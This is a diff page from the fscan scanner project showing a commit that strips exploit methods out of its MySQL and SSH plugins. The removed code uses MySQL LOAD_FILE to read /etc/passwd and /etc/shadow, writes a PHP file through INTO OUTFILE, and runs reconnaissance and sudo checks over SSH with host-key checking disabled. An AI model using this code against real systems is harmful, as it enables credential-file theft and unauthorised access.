hasFilePriv := e.hasFilePrivilege(privileges)
|
||||
result.Extra["has_file_privilege"] = hasFilePriv
|
||||
if hasFilePriv {
|
||||
base.AddOutputToResult(result, i18n.GetText("mysql_file_privilege_detected"))
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// exploitFileRead 文件读取利用
|
||||
func (e *MySQLExploiter) exploitFileRead(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||||
if err != nil {
|
||||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read", err), nil
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
// 尝试读取常见的敏感文件
|
||||
filesToRead := []string{
|
||||
"/etc/passwd",
|
||||
"/etc/shadow",
|
||||
"/etc/hosts",
|
||||
"C:\\Windows\\System32\\drivers\\etc\\hosts",
|
||||
}
|
||||
|
||||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "file_read")
|
||||
hasRead := false
|
||||
|
||||
for _, file := range filesToRead {
|
||||
content, err := e.readFile(ctx, db, file)
|
||||
if err == nil && content != "" {
|
||||
base.AddOutputToResult(result, i18n.GetText("mysql_file_read_success", file, content))
|
||||
hasRead = true
|
||||
}
|
||||
}
|
||||
|
||||
if !hasRead {
|
||||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read",
|
||||
fmt.Errorf(i18n.GetText("mysql_no_file_privilege"))), nil
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// exploitFileWrite 文件写入利用
|
||||
func (e *MySQLExploiter) exploitFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||||
if err != nil {
|
||||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "file_write")
|
||||
|
||||
// 尝试写入测试文件
|
||||
testContent := "<?php echo 'MySQL File Write Test'; ?>"
|
||||
testFile := "/tmp/mysql_test.php"
|
||||
|
||||
err = e.writeFile(ctx, db, testFile, testContent)
|
||||
if err != nil {
|
||||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
|
||||
}
|
||||
|
||||
base.AddOutputToResult(result, i18n.GetText("mysql_file_write_success", testFile))
|
||||
base.AddFileToResult(result, testFile)
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// MySQL操作辅助函数
|
||||
// =============================================================================
|
||||
|
||||
// connectWithCredentials 使用凭据连接数据库
|
||||
func (e *MySQLExploiter) connectWithCredentials(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*sql.DB, error) {
|
||||
// 解析端口号
|
||||
port, err := strconv.Atoi(info.Ports)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("无效的端口号: %s", info.Ports)
|
||||
}
|
||||
connStr := e.buildConnectionString(info.Host, port, creds.Username, creds.Password)
|
||||
|
||||
db, err := sql.Open("mysql", connStr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 测试连接
|
||||
if err = db.PingContext(ctx); err != nil {
|
||||
db.Close()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return db, nil
|
||||
}
|
||||
|
||||
// buildConnectionString 构建连接字符串
|
||||
func (e *MySQLExploiter) buildConnectionString(host string, port int, username, password string) string {
|
||||
if common.Socks5Proxy != "" {
|
||||
return fmt.Sprintf("%s:%s@tcp-proxy(%s:%d)/mysql?charset=utf8&timeout=10s",
|
||||
username, password, host, port)
|
||||
}
|
||||
return fmt.Sprintf("%s:%s@tcp(%s:%d)/mysql?charset=utf8&timeout=10s",
|
||||
username, password, host, port)
|
||||
}
|
||||
|
||||
// getVersion 获取MySQL版本
|
||||
func (e *MySQLExploiter) getVersion(ctx context.Context, db *sql.DB) (string, error) {
|
||||
var version string
|
||||
err := db.QueryRowContext(ctx, "SELECT VERSION()").Scan(&version)
|
||||
return version, err
|
||||
}
|
||||
|
||||
// getCurrentUser 获取当前用户
|
||||
func (e *MySQLExploiter) getCurrentUser(ctx context.Context, db *sql.DB) (string, error) {
|
||||
var user string
|
||||
err := db.QueryRowContext(ctx, "SELECT USER()").Scan(&user)
|
||||
return user, err
|
||||
}
|
||||
|
||||
// getCurrentDatabase 获取当前数据库
|
||||
func (e *MySQLExploiter) getCurrentDatabase(ctx context.Context, db *sql.DB) (string, error) {
|
||||
var database string
|
||||
err := db.QueryRowContext(ctx, "SELECT DATABASE()").Scan(&database)
|
||||
return database, err
|
||||
}
|
||||
|
||||
// enumerateDatabases 枚举数据库
|
||||
func (e *MySQLExploiter) enumerateDatabases(ctx context.Context, db *sql.DB) ([]string, error) {
|
||||
rows, err := db.QueryContext(ctx, "SHOW DATABASES")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var databases []string
|
||||
for rows.Next() {
|
||||
var dbName string
|
||||
if err := rows.Scan(&dbName); err != nil {
|
||||
continue
|
||||
}
|
||||
databases = append(databases, dbName)
|
||||
}
|
||||
|
||||
return databases, nil
|
||||
}
|
||||
|
||||
// enumerateTables 枚举表
|
||||
func (e *MySQLExploiter) enumerateTables(ctx context.Context, db *sql.DB) (map[string][]string, error) {
|
||||
rows, err := db.QueryContext(ctx, `
|
||||
SELECT TABLE_SCHEMA, TABLE_NAME
|
||||
FROM information_schema.TABLES
|
||||
WHERE TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys')
|
||||
LIMIT 50
|
||||
`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
tables := make(map[string][]string)
|
||||
for rows.Next() {
|
||||
var schema, table string
|
||||
if err := rows.Scan(&schema, &table); err != nil {
|
||||
continue
|
||||
}
|
||||
tables[schema] = append(tables[schema], table)
|
||||
}
|
||||
|
||||
return tables, nil
|
||||
}
|
||||
|
||||
// getUserPrivileges 获取用户权限
|
||||
func (e *MySQLExploiter) getUserPrivileges(ctx context.Context, db *sql.DB) ([]string, error) {
|
||||
rows, err := db.QueryContext(ctx, "SHOW GRANTS")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var privileges []string
|
||||
for rows.Next() {
|
||||
var grant string
|
||||
if err := rows.Scan(&grant); err != nil {
|
||||
continue
|
||||
}
|
||||
privileges = append(privileges, grant)
|
||||
}
|
||||
|
||||
return privileges, nil
|
||||
}
|
||||
|
||||
// hasFilePrivilege 检查是否有FILE权限
|
||||
func (e *MySQLExploiter) hasFilePrivilege(privileges []string) bool {
|
||||
for _, priv := range privileges {
|
||||
if strings.Contains(strings.ToUpper(priv), "FILE") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// readFile 读取文件
|
||||
func (e *MySQLExploiter) readFile(ctx context.Context, db *sql.DB, filename string) (string, error) {
|
||||
var content string
|
||||
query := fmt.Sprintf("SELECT LOAD_FILE('%s')", filename)
|
||||
err := db.QueryRowContext(ctx, query).Scan(&content)
|
||||
return content, err
|
||||
}
|
||||
|
||||
// writeFile 写入文件
|
||||
func (e *MySQLExploiter) writeFile(ctx context.Context, db *sql.DB, filename, content string) error {
|
||||
query := fmt.Sprintf("SELECT '%s' INTO OUTFILE '%s'", content, filename)
|
||||
_, err := db.ExecContext(ctx, query)
|
||||
return err
|
||||
// Exploit 利用接口实现 - 空实现
|
||||
func (e *MySQLExploiter) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
// MySQL插件不提供利用功能
|
||||
return nil, nil
|
||||
}
|
@ -2,28 +2,23 @@ package ssh
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// SSHExploiter SSH利用器实现
|
||||
// SSHExploiter SSH利用器实现 - 最小化版本,不提供利用功能
|
||||
type SSHExploiter struct {
|
||||
*base.BaseExploiter
|
||||
connector *SSHConnector
|
||||
}
|
||||
|
||||
// NewSSHExploiter 创建SSH利用器
|
||||
func NewSSHExploiter() *SSHExploiter {
|
||||
exploiter := &SSHExploiter{
|
||||
BaseExploiter: base.NewBaseExploiter("ssh"),
|
||||
connector: NewSSHConnector(),
|
||||
}
|
||||
|
||||
// 添加利用方法
|
||||
// SSH插件不提供利用功能
|
||||
exploiter.setupExploitMethods()
|
||||
|
||||
return exploiter
|
||||
@ -35,160 +30,8 @@ func (e *SSHExploiter) setupExploitMethods() {
|
||||
// SSH的价值在于弱密码发现,获取SSH访问权限本身就是目标
|
||||
}
|
||||
|
||||
// exploitSystemInfo 系统信息收集利用
|
||||
func (e *SSHExploiter) exploitSystemInfo(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
client, err := e.connectSSH(ctx, info, creds)
|
||||
if err != nil {
|
||||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "system_info", err), nil
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "system_info")
|
||||
|
||||
// 收集系统信息的命令
|
||||
commands := map[string]string{
|
||||
"hostname": "hostname",
|
||||
"os": "cat /etc/os-release 2>/dev/null || uname -a",
|
||||
"whoami": "whoami",
|
||||
"id": "id",
|
||||
"uptime": "uptime",
|
||||
"pwd": "pwd",
|
||||
}
|
||||
|
||||
for name, cmd := range commands {
|
||||
output, err := e.executeCommand(client, cmd)
|
||||
if err == nil && output != "" {
|
||||
base.AddOutputToResult(result, i18n.GetText("ssh_command_result", name, strings.TrimSpace(output)))
|
||||
result.Extra[name] = strings.TrimSpace(output)
|
||||
}
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// exploitCommandTest 命令执行测试利用
|
||||
func (e *SSHExploiter) exploitCommandTest(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
client, err := e.connectSSH(ctx, info, creds)
|
||||
if err != nil {
|
||||
return base.CreateFailedExploitResult(base.ExploitCommandExec, "command_test", err), nil
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
result := base.CreateSuccessExploitResult(base.ExploitCommandExec, "command_test")
|
||||
|
||||
// 测试基本命令执行
|
||||
testCommands := []string{"echo 'SSH_COMMAND_TEST'", "date", "whoami"}
|
||||
|
||||
for _, cmd := range testCommands {
|
||||
output, err := e.executeCommand(client, cmd)
|
||||
if err == nil && output != "" {
|
||||
base.AddOutputToResult(result, i18n.GetText("ssh_test_command", cmd, strings.TrimSpace(output)))
|
||||
}
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// exploitPrivilegeCheck 权限检查利用
|
||||
func (e *SSHExploiter) exploitPrivilegeCheck(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
client, err := e.connectSSH(ctx, info, creds)
|
||||
if err != nil {
|
||||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "privilege_check", err), nil
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "privilege_check")
|
||||
|
||||
// 检查sudo权限
|
||||
sudoOutput, err := e.executeCommand(client, "sudo -l 2>/dev/null")
|
||||
if err == nil && sudoOutput != "" && !strings.Contains(sudoOutput, "may not run sudo") {
|
||||
base.AddOutputToResult(result, i18n.GetText("ssh_sudo_check", strings.TrimSpace(sudoOutput)))
|
||||
result.Extra["sudo_privileges"] = strings.TrimSpace(sudoOutput)
|
||||
}
|
||||
|
||||
// 检查是否为root用户
|
||||
whoami, err := e.executeCommand(client, "whoami")
|
||||
if err == nil && strings.TrimSpace(whoami) == "root" {
|
||||
base.AddOutputToResult(result, i18n.GetText("ssh_root_access"))
|
||||
result.Extra["is_root"] = true
|
||||
}
|
||||
|
||||
// 检查用户组
|
||||
groups, err := e.executeCommand(client, "groups")
|
||||
if err == nil && groups != "" {
|
||||
base.AddOutputToResult(result, i18n.GetText("ssh_user_groups", strings.TrimSpace(groups)))
|
||||
result.Extra["groups"] = strings.TrimSpace(groups)
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// SSH操作辅助函数
|
||||
// =============================================================================
|
||||
|
||||
// connectSSH 使用凭据连接SSH
|
||||
func (e *SSHExploiter) connectSSH(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*ssh.Client, error) {
|
||||
config := &ssh.ClientConfig{
|
||||
Timeout: 0, // 禁用SSH库超时,使用Context控制
|
||||
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
|
||||
}
|
||||
|
||||
// 设置认证方法
|
||||
if creds.KeyData != nil && len(creds.KeyData) > 0 {
|
||||
// 密钥认证
|
||||
signer, err := ssh.ParsePrivateKey(creds.KeyData)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("解析私钥失败: %v", err)
|
||||
}
|
||||
config.User = creds.Username
|
||||
config.Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
|
||||
} else {
|
||||
// 密码认证
|
||||
config.User = creds.Username
|
||||
config.Auth = []ssh.AuthMethod{ssh.Password(creds.Password)}
|
||||
}
|
||||
|
||||
// 直接使用传入的Context,它已经包含了正确的超时设置
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 使用Context控制超时
|
||||
type sshResult struct {
|
||||
client *ssh.Client
|
||||
err error
|
||||
}
|
||||
|
||||
resultChan := make(chan sshResult, 1)
|
||||
|
||||
go func() {
|
||||
client, err := ssh.Dial("tcp", target, config)
|
||||
resultChan <- sshResult{client: client, err: err}
|
||||
}()
|
||||
|
||||
// 等待结果或超时
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
if result.err != nil {
|
||||
return nil, fmt.Errorf("SSH连接失败: %v", result.err)
|
||||
}
|
||||
return result.client, nil
|
||||
case <-ctx.Done():
|
||||
return nil, fmt.Errorf("SSH连接超时: %v", ctx.Err())
|
||||
}
|
||||
}
|
||||
|
||||
// executeCommand 执行SSH命令
|
||||
func (e *SSHExploiter) executeCommand(client *ssh.Client, command string) (string, error) {
|
||||
session, err := client.NewSession()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
output, err := session.CombinedOutput(command)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
return string(output), nil
|
||||
// Exploit 利用接口实现 - 空实现
|
||||
func (e *SSHExploiter) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
// SSH插件不提供利用功能
|
||||
return nil, nil
|
||||
}
|
Loading…
Reference in New Issue
Block a user